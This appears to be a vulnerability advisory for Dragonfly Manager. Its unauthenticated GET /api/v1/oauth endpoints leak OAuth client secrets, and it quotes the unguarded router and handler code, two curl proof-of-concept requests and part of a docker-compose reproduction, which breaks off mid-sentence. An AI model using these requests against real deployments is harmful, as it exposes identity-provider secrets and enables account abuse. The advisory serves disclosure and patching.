Go · d7y.io/dragonfly/v2
Dragonfly Manager OAuth provider client_secret disclosure via unauthenticated GET /api/v1/oauth
The Dragonfly Manager exposes GET /api/v1/oauth and GET /api/v1/oauth/:id to unauthenticated clients. The response body deserializes the entire manager/models.Oauth struct, which includes the client_secret field. Any network-reachable attacker can read the OAuth client secrets configured for github or google providers, defeating the confidentiality guarantee of those secrets and enabling subsequent abuse against the connected identity providers.
github.com/dragonflyoss/dragonfly <= v2.4.3 (and current main at commit 46a8f1e). The vulnerable wiring is present back to the introduction of OAuth GET handlers and was not addressed by GHSA-j8hf-cp34-g4j7 / CVE-2026-24124, whose remediation only added jwt + rbac middleware to the /jobs group.
Unauthenticated. The only precondition is that an administrator has registered at least one OAuth provider via POST /api/v1/oauth (a one-time setup for tenants that enable GitHub / Google sign-in).
manager/router/router.go:134-140 (v2.4.3) — the /oauth group registration:
// Oauth.
oa := apiv1.Group("/oauth")
oa.POST("", jwt.MiddlewareFunc(), rbac, h.CreateOauth)
oa.DELETE(":id", jwt.MiddlewareFunc(), rbac, h.DestroyOauth)
oa.PATCH(":id", jwt.MiddlewareFunc(), rbac, h.UpdateOauth)
oa.GET(":id", h.GetOauth)
oa.GET("", h.GetOauths)
Note the asymmetry inside the same oa route group: POST, PATCH, and DELETE explicitly attach jwt.MiddlewareFunc(), rbac as per-route middleware, but the two GET handlers omit both. Compare with the sibling group three lines below at manager/router/router.go:143-148, the /clusters group:
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
c.POST("", h.CreateCluster)
c.DELETE(":id", h.DestroyCluster)
c.PATCH(":id", h.UpdateCluster)
c.GET(":id", h.GetCluster)
c.GET("", h.GetClusters)
Here the middleware pair is attached once at the group level, so every verb on /clusters is guarded. The OAuth GETs are an unguarded sibling of the same primitive that GHSA-j8hf-cp34-g4j7 (Jan 2026) patched on the /jobs group. This is sibling-method-dispatch-target of the AP-012 sub-shape lens: same module, same router file, same anchor primitive ("group lacking JWT + RBAC"), parallel GET methods missed.
The handler at manager/handlers/oauth.go:127-141 returns the model directly:
func (h *Handlers) GetOauth(ctx *gin.Context) {
var params types.OauthParams
if err := ctx.ShouldBindUri(¶ms); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
oauth, err := h.service.GetOauth(ctx.Request.Context(), params.ID)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
ctx.JSON(http.StatusOK, oauth)
}
manager/handlers/oauth.go:155-171 has the parallel list handler:
func (h *Handlers) GetOauths(ctx *gin.Context) {
var query types.GetOauthsQuery
if err := ctx.ShouldBindQuery(&query); err != nil {
ctx.JSON(http.StatusUnprocessableEntity, gin.H{"errors": err.Error()})
return
}
h.setPaginationDefault(&query.Page, &query.PerPage)
oauth, count, err := h.service.GetOauths(ctx.Request.Context(), query)
if err != nil {
ctx.Error(err) // nolint: errcheck
return
}
h.setPaginationLinkHeader(ctx, query.Page, query.PerPage, int(count))
ctx.JSON(http.StatusOK, oauth)
}
manager/models/oauth.go:19-26 declares ClientSecret with no json:"-" tag, so it is serialized into every response:
type Oauth struct {
BaseModel
Name string `gorm:"column:name;type:varchar(256);index:uk_oauth2_name,unique;not null;comment:oauth2 name" json:"name"`
BIO string `gorm:"column:bio;type:varchar(1024);comment:biography" json:"bio"`
ClientID string `gorm:"column:client_id;type:varchar(256);index:uk_oauth2_client_id,unique;not null;comment:client id for oauth2" json:"client_id"`
ClientSecret string `gorm:"column:client_secret;type:varchar(1024);not null;comment:client secret for oauth2" json:"client_secret"`
RedirectURL string `gorm:"column:redirect_url;type:varchar(1024);comment:authorization callback url" json:"redirect_url"`
}
gin.Engine routes GET /api/v1/oauth/:id to the oa group registered at manager/router/router.go:135. Because no middleware is attached at the group level and none is attached at the per-route level, the request bypasses jwt.MiddlewareFunc() (which would have set or rejected c.Get("id")) and middlewares.RBAC() (which would have called Casbin enforcement).h.GetOauth (manager/handlers/oauth.go:127), which binds the :id path parameter and calls h.service.GetOauth.service.GetOauth (manager/service/oauth.go) does s.db.First(&oauth, id) and returns the populated models.Oauth.ctx.JSON(http.StatusOK, oauth). The ClientSecret field is serialized as client_secret in the response body.There is no PVR-style validator, no schema filter, no omitempty, and no DTO projection on the way. The audit middleware records the request as actor=unknown.
# (Assume Manager is reachable at $MANAGER and at least one OAuth provider
# has been registered via the authenticated POST /api/v1/oauth path.)
curl -s $MANAGER/api/v1/oauth | python3 -m json.tool
curl -s $MANAGER/api/v1/oauth/1 | python3 -m json.tool
Both calls return HTTP 200 with a JSON body that includes client_secret.
dragonflyoss/manager:v2.4.3 on docker compose)Boot the deployment with the project's stock deploy/docker-compose stack reduced to the Manager + its MySQL + Redis dependencies:
mkdir -p /Users/rick/df2-poc/config
cp Dragonfly2/deploy/docker-compose/template/manager.template.yaml \
/Users/rick/df2-poc/config/manager.yaml
# replace __IP__ with 127.0.0.1 (advertiseIP) and the redis addr with dragonfly-redis:6379
# enable the default JWT key line (the template ships it already).
cat > /Users/rick/df2-poc/docker-compose.yaml <<'YAML'
services:
redis:
image: redis:6-alpine
container_name: dragonfly-redis
command: --requirepass dragonfly
mysql:
image: mariadb:10.6
container_name: dragonfly-mysql
environment:
- MARIADB_USER=dragonfly
- MARIADB_PASSWORD=dragonfly
- MARIADB_DATABASE=manager
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=yes
manager:
image: dragonflyoss/manager:v2.4.3
container_name: dragonfly-manager
depends_on: [redis, mysql]
restart: on-failure
volumes:
- ./config/manager.yaml:/etc/dragonfly/manager.yaml:ro
ports:
- "18080:8080"
YAML
docker compose -f /Users/rick/df2-poc/docker-compose.yaml up -d
until curl -fsS -o /dev/null http://localhost:18080/healthy; do sleep 2; done
Bootstrap one administrator and register an OAuth provider whose secret we plant as a sentine
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.